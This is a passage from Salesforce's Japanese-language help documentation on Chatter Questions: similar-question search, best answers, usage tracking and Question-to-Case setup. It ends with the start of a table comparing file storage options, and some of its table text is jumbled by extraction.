基づいています。検索では、部分的に一致する語や隣接しない語が考慮されます。たとえば、「best backpack」
の結果には「Which backpack is best for day hikes?」というタイトルの質問が含まれ、「backpack」の結果には
「Backpacking Tips」というタイトルの記事が含まれます。
質問の説明や記事のテキストもスキャンする詳細検索を実行する場合、Tab キーを押すか、タイトル項目の外
側をクリックします。これにより、質問パブリッシャーの下に結果のドロップダウンリストが別に表示されま
す。
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どの結果でもユーザの質問に対する回答を得られなかった場合、[質問する]をクリックして質問を投稿できま
す。

関連トピック:

Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡

カスタマーサービス (Napili) テンプレート検索での類似質問および類似記事の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティユーザが類似した質問をすることがあります。Chatterの質問では、
ユーザが [検索] 項目に質問を入力したときに類似質問および関連する Salesforce

ナレッジ記事が表示されるため、カスタマーサービス (Napili) テンプレートで構
築されたセルフサービスコミュニティでの重複するコンテンツの削減に役立ち
ます。

メモ: 類似質問および類似記事は、Chatter を使用する内部 Salesforce 組織と
Salesforce タブ + Visualforce で構築されたコミュニティでも使用できます。詳
細は、「Chatterでの類似質問および類似記事の表示」を参照してください。

カスタマーサービス (Napili) コミュニティのユーザが [検索] 項目に質問を入力す
ると、類似質問およびナレッジ記事が自動的に項目の下のドロップダウンリス
トに表示されます。このドロップダウンリストには、[記事] と [質問] の 2 つのタブが含まれます。組み合わせ
た結果が含まれる [すべて] タブを表示するには、類似記事を有効にします (推奨)。
デフォルトでは、各タブには最大 6 件の結果が表示されます。[すべて] タブには一致する記事と質問の両方が
表示され、記事が最初に表示されます。同じ数の質問と記事が表示されますが、いずれかのタイプの結果が不
足している場合は、最大数に達するまでもう一方のタイプの結果が多く表示されます。特定のタイプの結果の
みを表示するには、[記事] タブまたは [質問] タブをクリックします。検索で 1 つのタイプ (たとえば質問) の結
果のみが返される場合でも、すべてのタブが表示されます。

メモ: コミュニティユーザに類似記事を表示するには、コミュニティでナレッジが有効になっており、
ユーザがナレッジにアクセスできる必要があります。
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• 1: [記事] タブと [質問] タブでは、ユーザが各タイプの結果を参照できます。ユーザは、これらのタブで上
下矢印キーを使用して結果間を移動できます。ドロップダウンリストで質問または記事をクリックすると、
直接その質問または記事に移動します。

• 2: テキストアイコンとチャットバブルアイコンは、検索結果が記事であるか質問であるかを示します。
• 3: リスト内の質問には、回答数、および最良の回答が選択されている場合は緑のチェックマークと [最良

の回答] というテキストが表示されます。
• 4: ドロップダウンの検索結果は、ユーザが入力したテキストが質問または記事のタイトルに含まれている

かどうかに基づきます。ユーザが [検索] をクリックして全文検索を実行すると、検索エンジンは質問の説
明と記事のテキストの一致する用語もスキャンします。

検索設定は、コミュニティビルダーで [検索パブリッシャー] コンポーネントのプロパティを編集してカスタマ
イズできます。詳細は、「テンプレートを使用したコミュニティの作成」を参照してください。

関連トピック:

Chatter の質問の類似記事の有効化
Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡
質問-to-ケースの概要
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Chatter の質問の類似記事の有効化

エディション

使用可能なエディション:
Salesforce Classic

Chatter の質問を使用可能
なエディション: Personal
Edition、Group Edition、
Professional Edition、
Developer Edition、
Performance Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Chatter の質問の類似記事
を有効にする
• 「アプリケーションの

カスタマイズ」

ユーザが Chatter で質問をすると、入力と同時に類似質問が表示されます。質問
だけでなく関連する Salesforce ナレッジ記事も表示するには、類似記事を有効に
します。

メモ: Chatter および Salesforce ナレッジが組織で有効になっている必要があ
ります。

類似記事を有効にすると、次の場所でこの機能がオンになります。
• 内部 Salesforce 組織
• Salesforce タブ + Visualforce、またはカスタマーサービス (Napili) テンプレートを

使用して構築されたコミュニティ
1. [設定] から、[クイック検索]ボックスに「ナレッジの設定」と入力し、[ナレッ

ジの設定] を選択します。
2. [Chatter の質問] 設定で [ユーザが Chatter で質問するときに関連記事を表示

(Chatter を使用するコミュニティにも適用)] を選択します。

メモ: 質問アクションが目的のページレイアウトに追加されていること
を確認します。追加されていなければ、ユーザが表示できません。

類似記事と類似質問のしくみについての詳細は、次を参照してください。
• Chatter での類似質問および類似記事の表示
• カスタマーサービス (Napili) テンプレート検索での類似質問および類似記事の表示

関連トピック:

カスタマーサービス (Napili) テンプレート検索での類似質問および類似記事の表示
質問-to-ケースの概要

Chatter の質問に対する最良の回答の選択

エディション

使用可能なエディション:
Salesforce Classic

Chatter の質問を使用可能
なエディション: Group
Edition、Professional
Edition、Developer
Edition、Performance
Edition、Enterprise
Edition、および Unlimited
Edition

Chatterで質問をすることの利点の 1 つは、質問に対する最良の回答をユーザが選
択できることです。質問に最良の回答があれば、ユーザは最良の回答を直接参
照して問題を迅速に解決できます。
モデレータおよび質問者は次のことができます。
• 質問に対する最良の回答を選択する。
• 回答から最良の回答状況を削除する。
最良の回答として選択できる回答は 1 つのみです。モデレータは、Chatter モデ
レータ、コミュニティモデレータ、Salesforce システム管理者のいずれでもかま
いません。質問に対する最良の回答を選択する権限がユーザにない場合は、[最
良の回答として選択] オプションが表示されません。
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回答が最良の回答として選択されると、チェックマーク ( ) がその横に表示されます。最良の回答のコピー
は回答リストの最上部にも表示されるため、他のユーザがすばやく確認できます。
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関連トピック:

Chatter での類似質問および類似記事の表示

FAQ - Chatter の質問
Chatter の質問では、コミュニティおよび Salesforce のユーザがフィードで質問することができます。この機能の
よくある質問を見てみましょう。
Chatter のテキスト投稿で自分の質問をするのではなく、Chatter の質問を使用する必要がある理由は?

Chatter で質問をすることで時間を節約できます。質問をするとき、質問を入力すると類似する質問と記事
が表示されます。他のユーザがすでに同じ質問をし、それに対して多くの回答や最良の回答が寄せられて
いる可能性があります。Chatter の質問では、Chatter にすでに存在する貴重なコンテンツが利用されます。

Chatter フィードを絞り込んで質問のみを表示することはできますか?

はい、できます。Chatter フィードの上部で、[表示] の横にある をクリックし、[質問] を選択します。
Chatter で質問を検索できますか?

はい、できます。Chatter フィードの上部にある [このフィードを検索] ボタン ( ) を使用します。フィード
検索結果に質問が含まれています。
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Chatter の質問を Salesforce1 で使用できますか?

現在、Chatter の質問は Salesforce1 モバイルブラウザでのみ使用できます。
質問をするとどうなりますか?

フォローされている人、または質問をされた人やグループの Chatter フィードに質問が表示されます。質問
をされた人やグループにはメール通知も送信されます。ユーザが質問をすると、他のユーザは Chatter で直
接その質問に回答できます。

質問に対する最良の回答を選択できるのは誰ですか?

質問に対する最良の回答を選択できるのは、質問したユーザと、モデレータのみです。モデレータは、
Chatter モデレータでもコミュニティモデレータでもかまいません。Salesforce システム管理者も質問に対す
る最良の回答を選択できます。詳細は、「Chatterの質問に対する最良の回答の選択」を参照してください。

Chatter の質問の使用および採用を Salesforce 組織で追跡できますか?

はい、できます。詳細は、「Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡」を参照し
てください。

関連トピック:

Chatter での類似質問および類似記事の表示
Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡

Salesforce 組織およびコミュニティでの Chatter の質問の使用の追跡

エディション

使用可能なエディション:
Salesforce Classic

Chatter の質問を使用可能
なエディション: Group
Edition、Professional
Edition、Developer
Edition、Performance
Edition、Enterprise
Edition、および Unlimited
Edition

標準のレポートとダッシュボードを使用して、組織またはコミュニティで Chatter

の質問の使用や採用について把握します。
Chatter の質問に関するレポートは、次のような質問に回答する場合に役立ちま
す。
• ユーザはどのような質問をしているか?

• 過去 1 か月間に何件の質問を受けたか?

• 何割ぐらいの質問に回答できなかったか?

• ユーザの質問で 1 番多いのはどのようなトピックか?

• 1 番質問が多いのはどの部門か?

Salesforce 組織での Chatter の質問の使用を追跡するには、AppExchange で Salesforce

Chatter ダッシュボードをダウンロードします。使用を開始する場合は、「ダッ
シュボードパッケージを使用した Chatter のレポート」を参照してください。
コミュニティでの Chatter の質問の使用を追跡するには、AppExchange で Salesforce Communities Management (Chatter

を使用するコミュニティ向け) をダウンロードします。使用を開始する場合は、「ダッシュボードおよびイン
サイトパッケージを使用したコミュニティのレポート」 (ページ 4116)を参照してください。

関連トピック:

Chatter の質問からのケースの作成
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Salesforce の Q&A 機能の相違点

エディション

使用可能なエディション:
Salesforce Classic

アンサーおよび Chatter ア
ンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Chatter の質問を使用可能
なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce には、Salesforce 組織およびコミュニティで実装できるさまざまな Q&A 機
能が備えられています。一部の機能では類似した用語が使用されているため、
各機能の相違点を確認してください。
Salesforce では、ユーザが公開フォーラム設定で質問と回答を投稿できる 3 つの機
能がリリースされています。これらの機能の目的は同じですが、Salesforce の Q&A

機能の進化に違いがあります。

ユーザによるアク
セス方法

構造説明Q&A 機能

内部ユーザは、
Salesforce の [アン
サー]タブを使用し
てアンサーにアク
セスします。

アンサーは、
Question 標準オブ
ジェクト上に構築
されています。

アンサーは、Winter

'11 でリリースされ
たコミュニティ向
けの Salesforce の最
初の Q&A 機能で
す。Summer '13 以
降、新しい組織で
はアンサーを使用
できません。

バージョン 1: アン
サー

内部ユーザは
[Q&A] タブから

Chatter アンサー
は、Question 標準オ

Spring '12 でリリー
スされた Chatter ア

バージョン 2:

Chatter アンサー
Chatter アンサーにブジェクト上に構

築されています。
ンサーは、アン
サーのユーザ操作
性は気に入ってい

アクセスし、モデ
レータは [質問] タ

るが追加機能を希 ブで質問のリスト
を表示できます。望する顧客を対象

としていました。
Chatter アンサーを
使用すると、ユー
ザ同士で互いの質
問を検討し質問の
フィードビューを
表示する、標準の
セルフサービスサ
イトを会社で管理
できます。Summer

'16 以降、新しい組
織では Chatter アン
サーを使用できま
せん。

内部ユーザは、
Chatter 内で [Chatter

Chatter の質問は
Chatter データモデ

Winter '15 でリリー
スされた Chatter の

バージョン 3:

Chatter の質問
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ユーザによるアクセス方
法

構造説明Q&A 機能

の質問] にアクセスしま
す。[Chatter パブリッ

ル上に構築され、Feed Post

および Feed Comment オブ
ジェクトが使用されます。

質問は、Salesforce の Q&A 機
能が最も高度に進化した
ものです。Chatter の組み込
み機能を利用しているた

シャーの質問] アクション
を使用して質問を投稿し、

め、Q&A 機能を Chatter に すべての質問が Chatter

フィードに表示されます。緊密に統合することを希
望する顧客に理想的です。
Chatter の質問は、Salesforce

組織、Salesforce1 モバイル
ブラウザアプリケーショ
ンの他、Chatter の質問が有
効になっているコミュニ
ティでも使用できます。

関連トピック:

Chatter の質問
Chatter アンサーの [Q&A] タブの使用
アンサーの概要

質問-to-ケースの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

質問-to-ケースにより、モデレータが Chatter の質問からケースを作成できるた
め、顧客の問題をより簡単に追跡および解決できます。質問-to-ケースは、Salesforce

フルサイトおよび Salesforce1 モバイルブラウザアプリケーションのほか、Chatter

の質問が有効になっているコミュニティでも使用できます。
顧客が Chatter の [質問] アクションを使用して質問するときに、Chatter パブリッ
シャーの下に類似した質問とナレッジ記事が表示されます。類似した質問と記
事によって問題が対処されない場合、顧客は質問を投稿します。
質問が解決されない場合、質問をケースにエスカレーションできます。「Chatter

のモデレート」または「コミュニティフィードのモデレート」ユーザ権限を持
つユーザは、フィード内の質問から直接ケースを作成できます。また、指定さ
れた条件を満たす質問から自動的にケースを作成するように Lightning プロセス
ビルダーで (ワークフロールールに似ている) プロセスを設定することもできま
す。サポートエージェントがケースを要求できるように、質問から作成されたケースはキューに追加されま
す。

3756

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



顧客の質問がケースになると、顧客はケース番号とケースへのリンクが記載されたメールを受信します。顧客
本人のみに表示される質問へのリンクを使用してケースを参照することもできます。モデレータには、ケース
が作成されたことを示すメモが質問に表示されます。

メモ: 質問した顧客が自分のケースを参照するには、そのケースへのアクセス権が必要です。

モデレータのフラグ

顧客のフラグ

メモ:  Salesforce (コミュニティではなく) 内でエスカレーションされた質問については、モデレータだけで
なく、すべてのユーザに通知が表示されます。

エージェントが解決策を見つけたら、コンソールから直接質問に回答できます。顧客は質問上または [私のケー
ス] ビューでエージェントの回答を確認します。エージェントは、返信をコミュニティに表示するか、質問し
た顧客のみに表示するかを選択します。
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使用を開始するには、「質問-to-ケースの設定」を参照してください。

関連トピック:

Chatter の質問からのケースの作成
Chatter での未解決の質問からケースの自動作成

質問-to-ケースの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティ、Salesforce 組織、またはその両方に質問-to-ケースを追加します。
質問-to-ケースでは、モデレータが Chatter の未解決の質問からケースを作成し、
顧客の問題をより簡単に追跡および解決できます。モデレータはフィード内の
質問からケースを直接作成できます。また、指定された条件を満たす質問から
ケースを自動的に作成するように、Lightning プロセスビルダーで (ワークフロー
ルールに似ている) プロセスを設定することもできます。サポートエージェント
がケースを要求できるように、質問から作成されたケースはキューに追加され
ます。
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質問-to-ケースは、Chatter の質問が有効化されているコミュニティでのみ使用できます。

1. 質問-to-ケースを有効にする
質問-to-ケースでは、モデレータが Chatter の質問からケースを作成し、顧客の質問をすばやく解決できま
す。コミュニティ、Salesforce 組織、またはその両方で質問-to-ケースを有効化します。

2. [ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する
Chatter で質問からケースが作成されると、ケースの詳細ページの [Chatter からの質問] 項目に元の質問
へのリンクが表示されます。この項目は、エージェントがフィードにすばやく移動するのに役立ちます。

3. フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加
[ケースにエスカレーション] アクションを [Chatter の質問] ページに追加することで、質問からケースを作成
する機能をモデレータに提供します。このアクションは、組織で質問-to-ケースを有効にすると自動的に作
成されます。

4. [ケースにエスカレーション] アクションへのアクセス権を確認する
Salesforce組織でケースに複数のレコードタイプを使用している場合、質問-to-ケースが必要なプロファイル
に、[ケースにエスカレーション] アクションに関連付けられたレコードタイプへのアクセス権があること
を確認します。組織でケースに 1 つのレコードタイプのみを使用している場合、このプロセスはスキップ
してください。

5. [ケースにエスカレーション] アクションレイアウトをカスタマイズする
各ケースで追跡する必要がある情報に基づいて、[ケースにエスカレーション] アクションに表示される項
目、およびその順番を選択します。

6. 質問からのケースをキューに自動的に割り当てる
ケースの割り当てルールは質問-to-ケースではサポートされていないため、デフォルトでは、質問から作成
されたケースはその質問をエスカレーションするモデレータに割り当てられます。エージェントがケース
を要求できるように、質問から作成されたケースをキューに自動的に追加するワークフロールールまたは
プロセスを作成できます。

7. Chatter での未解決の質問からケースの自動作成
コミュニティまたは組織を構築する場合、ユーザの質問にスピーディに回答できるようにします。質問-to-

ケースでは、モデレータがフィードで未解決の質問をケースにエスカレーションできますが、Lightning プ
ロセスビルダーで (ワークフロールールに似ている) プロセスを設定することで、さらに効率的なケース解
決プロセスを作成できます。指定された条件を満たす質問から自動的にケースを作成するプロセスを設定
します。

関連トピック:

質問-to-ケースを有効にする
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質問-to-ケースを有効にする

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

質問-to-ケースを有効化す
る
• 「アプリケーションの

カスタマイズ」

質問-to-ケースでは、モデレータが Chatter の質問からケースを作成し、顧客の質
問をすばやく解決できます。コミュニティ、Salesforce 組織、またはその両方で
質問-to-ケースを有効化します。
1. [設定] から、[クイック検索] ボックスに「サポート設定」と入力し、[サポー

ト設定] を選択します。
2. Chatter の質問が有効なすべてのコミュニティで質問-to-ケースを有効にするに

は、[Salesforce で質問-to-ケースを有効化] を選択します。
3. Salesforce 組織で質問-to-ケースを有効にするには、[Salesforce で質問-to-ケース

を有効化] を選択します。
4. [保存] をクリックします

メモ: ケースページレイアウトがフィードベースであることを確認してく
ださい。フィードベースのケースページレイアウトでは、エージェントと
モデレータが [コミュニティ] アクションを使用して、エスカレーションさ
れた質問に回答できます。組織が Spring '14 より前に作成されている場合、
ケースページレイアウトはフィードベースではない可能性があります。

関連トピック:

[ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する
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[ケースの詳細] ビューへ [Chatter からの質問] 項目を追加する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

Chatter で質問からケースが作成されると、ケースの詳細ページの [Chatter か
らの質問] 項目に元の質問へのリンクが表示されます。この項目は、エージェ
ントがフィードにすばやく移動するのに役立ちます。
まず、項目レベルのセキュリティを使用して、どのユーザに対してケースの詳
細ページに [Chatter からの質問] 項目を表示するかを指定します。
1. ケースのオブジェクト管理設定から、[項目] に移動します。
2. [Chatter からの質問] をクリックします。
3. [項目レベルセキュリティの設定] をクリックします。
4. 質問-to-ケースを使用できるようにするプロファイルに対して[参照可能]を選

択します。
5. [保存] をクリックします。
項目がユーザに表示されるように設定したら、項目を [ケースの詳細] ビューに
追加できます。
1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. カスタマイズするページレイアウトの横にある [編集] をクリックします。
3. [Chatter からの質問] 項目を、ページレイアウトエディタパレットの [項

目] セクションから、ページの [ケース情報] セクションにドラッグします。
4. [保存] をクリックします
5. [ページレイアウトの割り当て]をクリックして、質問-to-ケースを必要とする

ユーザプロファイルがカスタマイズしたページレイアウトに割り当てられて
いることを確認します。また、ケースの [Chatter からの質問]項目にアク
セスする必要がある内部ユーザもそのページレイアウトに割り当てます。

関連トピック:

フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加
オブジェクト管理設定の検索
オブジェクト管理設定の検索
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フィード項目レイアウトへの [ケースにエスカレーション] アクションの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

[ケースにエスカレーション] アクションを [Chatter の質問] ページに追加すること
で、質問からケースを作成する機能をモデレータに提供します。このアクショ
ンは、組織で質問-to-ケースを有効にすると自動的に作成されます。
1. [設定] から、[クイック検索] ボックスに「フィード項目」と入力し、[フィー

ド項目レイアウト] を選択します。
2. フィード項目レイアウトの横にある [編集] をクリックします。
3. [ケースにエスカレーション] アクションを、パレットの[クイックアクション]

カテゴリから [Salesforce Classicパブリッシャーのクイックアクション] セクショ
ンにドラッグします。

4. [保存] をクリックします。
5. [ページレイアウトの割り当て]をクリックして、質問-to-ケースを必要とする

ユーザプロファイルがフィード項目レイアウトに割り当てられていることを
確認します。

関連トピック:

[ケースにエスカレーション] アクションへのアクセス権を確認する
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[ケースにエスカレーション] アクションへのアクセス権を確認する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプを割り当
てる
• 「アプリケーションの

カスタマイズ」

Salesforce組織でケースに複数のレコードタイプを使用している場合、質問-to-ケー
スが必要なプロファイルに、[ケースにエスカレーション] アクションに関連付け
られたレコードタイプへのアクセス権があることを確認します。組織でケース
に 1 つのレコードタイプのみを使用している場合、このプロセスはスキップし
てください。
まず、[ケースにエスカレーション] アクションへのアクセスが必要なプロファイ
ルに割り当てられているレコードタイプを確認します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. プロファイルの名前をクリックします。
3. [レコードタイプの設定] セクションで、プロファイルが使用しているケース

レコードタイプをメモします。
4. [権限] セクションで、ユーザプロファイルの [Chatter のモデレート]または [コ

ミュニティフィードのモデレート] 権限が有効化されていることを確認しま
す。

次に、[ケースにエスカレーション] アクションで使用されているレコードタイプ
を確認し、必要に応じて変更します。
1. [設定] から、[クイック検索] ボックスに「アクション」と入力し、[フィード

項目アクション] を選択します。
2. [ケースにエスカレーション] アクションの横にある[編集]をクリックします。
3. [レコードタイプ]項目に、このアクションへのアクセスが必要なプロファイ

ルに割り当てられている、レコードタイプが表示されていることを確認しま
す。表示されていない場合、ドロップダウンリストから適切なレコードタイ
プを選択します。

4. [保存] をクリックします。

関連トピック:

[ケースにエスカレーション] アクションレイアウトをカスタマイズする
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[ケースにエスカレーション] アクションレイアウトをカスタマイズする

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

各ケースで追跡する必要がある情報に基づいて、[ケースにエスカレーション] ア
クションに表示される項目、およびその順番を選択します。
1. [設定] から、[クイック検索] ボックスに「アクション」と入力し、[フィード

項目アクション] を選択します。
2. [ケースにエスカレーション] アクションの横にある [レイアウト] をクリック

します。
3. アクションレイアウトエディタパレットからアクションに追加する項目をド

ラッグし、必要に応じて再配置します。
4. [保存] をクリックします

メモ: 公開コミュニティでは、ケースが送信されている場合は取引先責任
者を検索できないため、ケースアクションレイアウトから [取引先責任者]

を削除することをお勧めします。

関連トピック:

質問からのケースをキューに自動的に割り当てる

質問からのケースをキューに自動的に割り当てる

エディション

使用可能なエディション:
Salesforce Classic

質問-to-ケースを使用可能
なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ケースの割り当てルールは質問-to-ケースではサポートされていないため、デ
フォルトでは、質問から作成されたケースはその質問をエスカレーションする
モデレータに割り当てられます。エージェントがケースを要求できるように、
質問から作成されたケースをキューに自動的に追加するワークフロールールま
たはプロセスを作成できます。
エスカレーションされた質問は、いくつかの方法でキューに割り当てることが
できます。ケースの Type項目が Questionと等しい場合に、指定されたキュー
に自動的にケースを割り当てるプロセスを Lightning プロセスビルダーで作成す
るというのが基本的な方法です。複数のキューに対応するプロセスを作成する
こともできます。たとえば、特定のトピックのケースを別のキューに割り当て
ることができます。
エスカレーションされた質問でのキューの使用方法は、ユーザや目標などによっ
て異なります。ビジネスニーズに最適な方法を見つけてください。
キューの作成方法についての詳細は、「キューの作成」を参照してください。

関連トピック:

Chatter での未解決の質問からケースの自動作成

3764

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



Chatter での未解決の質問からケースの自動作成

エディション

使用可能なエディション:
Salesforce Classic

質問-to-ケースを使用可能
なエディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Lightning プロセスビル
ダーを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

コミュニティまたは組織を構築する場合、ユーザの質問にスピーディに回答で
きるようにします。質問-to-ケースでは、モデレータがフィードで未解決の質問
をケースにエスカレーションできますが、Lightning プロセスビルダーで (ワーク
フロールールに似ている) プロセスを設定することで、さらに効率的なケース解
決プロセスを作成できます。指定された条件を満たす質問から自動的にケース
を作成するプロセスを設定します。

重要: これらの手順は、Chatter の質問を使用する組織およびコミュニティに
のみ適用されます。該当するかわからない場合は、「Salesforce の Q&A 機能
の相違点」 (ページ 3755)を参照してください。

質問-to-ケースは、いくつかの方法のプロセスで使用できます。たとえば、次の
プロセスを設定するとします。
• 質問されてから 1 週間が経過した場合、質問が 10 個を超えるいいね! を受け

取った場合、および最良の回答が選択された場合に、質問からケースを作成
する。

• 質問に「競合」という単語が含まれている場合、直ちに質問からケースを作
成する。

質問-to-ケースに関連するプロセスは、フィード項目オブジェクトで動作しま
す。プロセスには、質問の投稿がエスカレーション条件を満たすかどうかを評
価するフローが含まれます。フロー変数は、次のようないくつかのフィード項
目に基づいて作成できます。
• BestCommentId: 最良の回答として選択されたコメントの ID。最良の回答として選択されたコメントがな

い場合、この項目は Null です。
• CommentCount: 質問へのコメントの数。
• LikeCount: 質問へのいいね! の数。

ヒント:

• 各フロー変数のデータ型は、フィード項目のデータ型と一致する必要があります。CommentCountと
LikeCount は数値項目で、BestCommentId はテキスト項目です。

• フィード項目の作成によってプロセスをトリガできますが、フィード項目 (いいね! やコメントなど) の
更新ではトリガできません。プロセスによっては、関連するフローを実行する前に待機する時間の指
定が必要な場合があります。

関連トピック:

Lightning プロセスビルダー
Cloud Flow Designer
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Chatter の質問からのケースの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce の質問からケー
スを作成する
• 「Chatter のモデレー

ト」または「すべての
データの編集」

および

ケースに対する「作
成」

コミュニティの質問から
ケースを作成する
• 「Chatter のモデレー

ト」または「すべての
データの編集」または
「コミュニティフィー
ドのモデレート」

および

ケースに対する「作
成」

Chatter の質問が解決されていない場合、モデレータは質問からケースを作成で
きます。質問-to-ケースが組織またはコミュニティで有効化されている必要があ
ります。
1. フィード内の質問に移動します。
2. アクションドロップダウンメニューで [ケースにエスカレーション]を選択し

ます。
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ケースの件名、取引先責任者、および説明があらかじめ入力されたウィンドウが開きます。質問-to-ケース
に関連付けられているキューがない場合、ケースは自動的に割り当てられます。

3. 必要に応じて、ケースの詳細を編集します。
4. ケースを作成します。
Chatter の質問からケースが作成されたら、質問をした顧客は質問からケースが作成されたことを通知するメー
ルを受信します。メールには、ケース番号とケースへのリンクが含まれます。
エージェントは、パブリッシャーの [コミュニティ] アクションを使用して、ケースフィードから直接質問に対
する回答を投稿できます。エージェントは [顧客のみ] または [全員] を選択することで回答を表示できます。ま
た、[Chatter からの質問]項目のリンクをクリックすることで、ケースの詳細ページから元の質問に移動で
きます。

関連トピック:

質問-to-ケースの設定
Chatter での未解決の質問からケースの自動作成

ファイルの作成、共有、および整理
ファイルをフィードやレコードに投稿したり、Salesforce クラウドでファイルを顧客と共有したり、ローカルド
ライブと Salesforce の間でファイルを同期したりします。

ファイル、Salesforce CRM Content、Salesforce ナレッジ、ドキュメント、添付ファイルの違い
ファイルとコンテンツを管理する、さまざまな方法の違いについて説明します。
Salesforce Files

[ファイル] タブでファイルを整理してアクセスします。
Files Connect 外部ファイル
他の場所に保存されたファイルを直接 Salesforce から参照、検索、および共有します。
ドキュメントライブラリ
ファイルをレコードに添付せずに保存します。
Salesforce CRM Content

組織内のあらゆる種類のファイルを整理、共有、検索、管理します。
Google Apps

Google ドキュメントや Gmail などの Google アプリケーションを Salesforce と統合します。

ファイル、Salesforce CRM Content、Salesforce ナレッジ、ドキュメント、添付
ファイルの違い
ファイルとコンテンツを管理する、さまざまな方法の違いについて説明します。
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添付ファイル[ドキュメント] タ
ブ

Salesforce ナレッ
ジ

Salesforce CRM
Content

[ファイル] ホーム

選択した詳細
ページの [添付

Web リソース (ロ
ゴ、DOT ファイ

知識ベースのコ
ンテンツ (記事) を

会社の公式な
ファイルを公

クラウドの
Salesforceファイル

目的

ファイル] 関連リル、その他の作成および管理開、同僚と共をアップロー
ストからレコーVisualforce 資料なします (カスタ有、顧客に配信

します。
ド、保存、検
索、フォロー、
共有、同期、お

ドにファイルを
添付します。

ど) をレコードに
添付せずにフォ
ルダに保存しま
す。

マーポータル、
パートナーポー
タル、Service

Cloud ポータル、
Force.com サイト

よびコラボレー
ションします。

の) 社内ユーザお
よび顧客が必要
な記事をすぐに
見つけて表示で
きます。

ファイルを [添付
ファイル] 関連リ

[ドキュメント] タ
ブにロゴをアッ

[記事の管理] タブ
を使用して記事

営業プレゼン
テーションを作

ファイルをアッ
プロードして、

一般的な用途

ストで添付しプロードして、の編集、公開、成、コピー、ま共有の準備がで
て、特定のレミーティングのアーカイブを行たは変更し、自きるまで非公開
コード (行動、お願いにカスタいます。また分だけが表示おで保存します。
マーケティングムロゴを追加し

ます。
は、[記事] タブを
使用して公開記
事の検索と表示

よび処理できる
ように保存しま
す。準備ができ

ファイルを同僚
やグループと共
有してコラボ

キャンペーン、
連絡先、ケース

を行います。カたら、社内の他レーションを など) に追加しま
す。スタマーポータ

ル、パートナー
のユーザがアク
セスできるよう

行ったり、
フィードバック

ポータル、Serviceに公開します。を受け取ったり
Cloud ポータル、コンテンツパッします。[ホーム]

Force.com サイトクを作成して、タブ、[Chatter] タ
で Salesforce ナ顧客に送信しま

す。
ブ、プロファイ
ル、レコード、
またはグループ

レッジが有効に
なっている場

で Chatter フィー 合、顧客および
ドの投稿にファ パートナーは記
イルを添付しま 事にアクセスで
す。Salesforce Files きます。Web サイ
Syncへのアクセス ト訪問者が記事
権を持つユーザ を参照できるよ
は、Salesforce Files う、公開知識
Sync フォルダの ベースを作成し

ます。ファイルのアク
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添付ファイル[ドキュメント] タ
ブ

Salesforce ナレッ
ジ

Salesforce CRM
Content

[ファイル] ホーム

セス、同期、共
有ができます。

すべてすべてすべてすべてすべてサポートされ
ているファイ
ルタイプ

添付ファイル: 5
MB

2 GB最大ファイル
サイズ

• 添付ファイル:
25 MB

• 5 MB• 2 GB

• •Chatter REST API

によるアップ
カスタムアプ
リケーション
ロゴ: 20 KB

• フィードの添
付ファイル: 2
GB

ロード時: 2 GB

(ヘッダーを含
む)

• REST APIによる
アップロード
時: 2 GB (ヘッ
ダーを含む)

• SOAP API によ
るアップロー
ド時: 38 MB

• Bulk API による
アップロード
時: 10 MB

• Google ドキュ
メント: 10 MB

